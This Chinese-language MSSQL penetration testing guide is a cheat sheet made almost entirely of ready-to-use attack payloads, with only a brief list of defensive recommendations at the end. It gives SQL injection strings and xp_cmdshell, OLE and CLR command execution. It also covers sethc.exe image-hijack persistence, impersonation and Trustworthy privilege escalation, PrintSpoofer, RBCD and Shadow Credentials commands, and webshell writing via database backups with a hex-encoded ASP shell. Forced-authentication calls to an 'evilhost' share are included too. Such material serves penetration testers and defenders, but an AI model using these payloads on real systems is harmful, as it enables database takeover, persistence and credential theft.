Pentesting MSSQL - Microsoft SQL Server
字数 585 2025-08-26 22:11:57
MSSQL渗透测试完全指南
基础介绍
Microsoft SQL Server是微软开发的关系型数据库管理系统,默认开放TCP 1433端口。作为数据库服务器,它主要功能是存储和检索其他软件应用程序请求的数据。
SQL Server信息收集
判断数据库类型
/* 通过特有表判断 */
?id=1 and (select count(*) from sysobjects)>0 --
/* 通过延时函数判断 */
?id=1;WAITFOR DELAY '00:00:10'; --
查询数据库版本
?id=1 and 1=(select @@version) --
获取当前用户和数据库名
/* 当前用户 */
?id=1 and user>0;--
/* 当前数据库 */
?id=1 and db_name()>0;--
判断字段个数
?id=1 order by 6--
判断服务器角色
/* 判断是否为sysadmin */
?id=1 and 1=(select is_srvrolemember('sysadmin'))--
/* 其他角色检查 */
?id=1 and 1=(select is_srvrolemember('serveradmin'))--
?id=1 and 1=(select is_srvrolemember('securityadmin'))--
SQL注入技术
报错注入
/* 查询表名 */
?id=1 and 1=(select top 1 name from sysobjects where xtype='u');--
/* 查询字段名 */
?id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = 'fsb_accounts'));--
联合注入
/* 使用NULL占位 */
?id=1 union select NULL, NULL ,NULL, NULL, NULL from fsb_users--
/* 查询数据 */
?id=1 union select NULL, user_name, NULL, NULL, NULL from fsb_users--
布尔盲注
?id=-1 or ascii(substring((select top 1 name from master.dbo.sysdatabases),1,1))>97--
时间盲注
?id=1;if (select IS_SRVROLEMEMBER('sysadmin'))=1 WAITFOR DELAY '0:0:2'--
SQL Server攻击面
xp_cmdshell利用
/* 启用xp_cmdshell */
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
/* 执行命令 */
EXEC master.dbo.xp_cmdshell 'whoami'
Ole Automation Procedures
/* 启用OLE自动化 */
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;
EXEC sp_configure 'Ole Automation Procedures', 1;RECONFIGURE;
/* 使用WScript.Shell执行命令 */
DECLARE @object INT
EXEC sp_OACreate 'WScript.Shell', @object OUTPUT
EXEC sp_OAMethod @object, 'run', NULL, 'cmd.exe /c whoami >C:\result.txt'
xp_regwrite利用
/* 映像劫持持久化 */
EXEC master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger','REG_SZ','C:\Windows\System32\cmd.exe'
CLR利用
/* 创建CLR程序集 */
CREATE ASSEMBLY [MssqlClr] FROM 0x4D5A... WITH PERMISSION_SET = UNSAFE;
/* 创建存储过程 */
CREATE PROCEDURE [dbo].[ExecCommand] @cmd NVARCHAR (MAX) NULL
AS EXTERNAL NAME [MssqlClr].[StoredProcedures].[ExecCommand]
/* 执行命令 */
EXEC dbo.ExecCommand "whoami /all";
权限提升技术
用户模拟提权
/* 查看可模拟的账户 */
SELECT DISTINCT b.name FROM sys.server_permissions a
INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE';
/* 模拟高权限账户 */
EXECUTE AS LOGIN = 'sa';
Trustworthy提权
/* 创建提权存储过程 */
CREATE PROCEDURE sp_elevate_me WITH EXECUTE AS OWNER
AS EXEC sp_addsrvrolemember 'LoginUser1','sysadmin';
/* 执行提权 */
EXEC sp_elevate_me;
本地特权提升
SeImpersonatePrivilege利用
PrintSpoofer.exe -i -c whoami
RBCD攻击
SharpAllowedToAct.exe -m PENTEST -p Passw0rd -t WIN-MSSQL -D pentest.com
Shadow Credentials
Whisker.exe add /target:WIN-MSSQL$ /domain:pentest.com /dc:dc01.pentest.com
WebShell写入技术
差异备份Getshell
/* 完整备份 */
backup database FoundStone_Bank to disk = 'C:\inetpub\wwwroot\public\test.bak';
/* 创建表并插入WebShell */
create table [dbo].[test] ([cmd] [image]);
insert into test(cmd) values(0x3C25657865637574652872657175657374282261222929253E);
/* 差异备份写入WebShell */
backup database FoundStone_Bank to disk='C:\inetpub\wwwroot\public\shell.asp' WITH DIFFERENTIAL,FORMAT;
日志备份Getshell
/* 设置还原模式 */
alter database FoundStone_Bank set RECOVERY FULL;
/* 创建表并插入WebShell */
create table test (cmd image);
/* 日志备份写入WebShell */
backup log FoundStone_Bank to disk = 'C:\inetpub\wwwroot\public\shell.asp';
强制认证攻击
存储过程强制认证
EXEC master..xp_dirtree '\\evilhost\share'
EXEC master..xp_fileexist '\\evilhost@80\webdav\test.txt'
Analysis Services强制认证
<Restore xmlns="http://schemas.microsoft.com/analysisservices/2003/engine">
<File>\\192.168.2.51\SYSVOL\db.abf</File>
<DatabaseName>\\192.168.2.51\SYSVOL\db.abf</DatabaseName>
</Restore>
防御建议
- 最小权限原则,限制数据库账户权限
- 禁用不必要的存储过程(xp_cmdshell, sp_OACreate等)
- 及时安装安全补丁
- 启用数据库审计
- 限制网络访问
- 使用强密码策略
- 定期检查数据库配置
本指南涵盖了MSSQL渗透测试的主要技术点,从信息收集到权限提升,提供了全面的攻击方法和防御建议。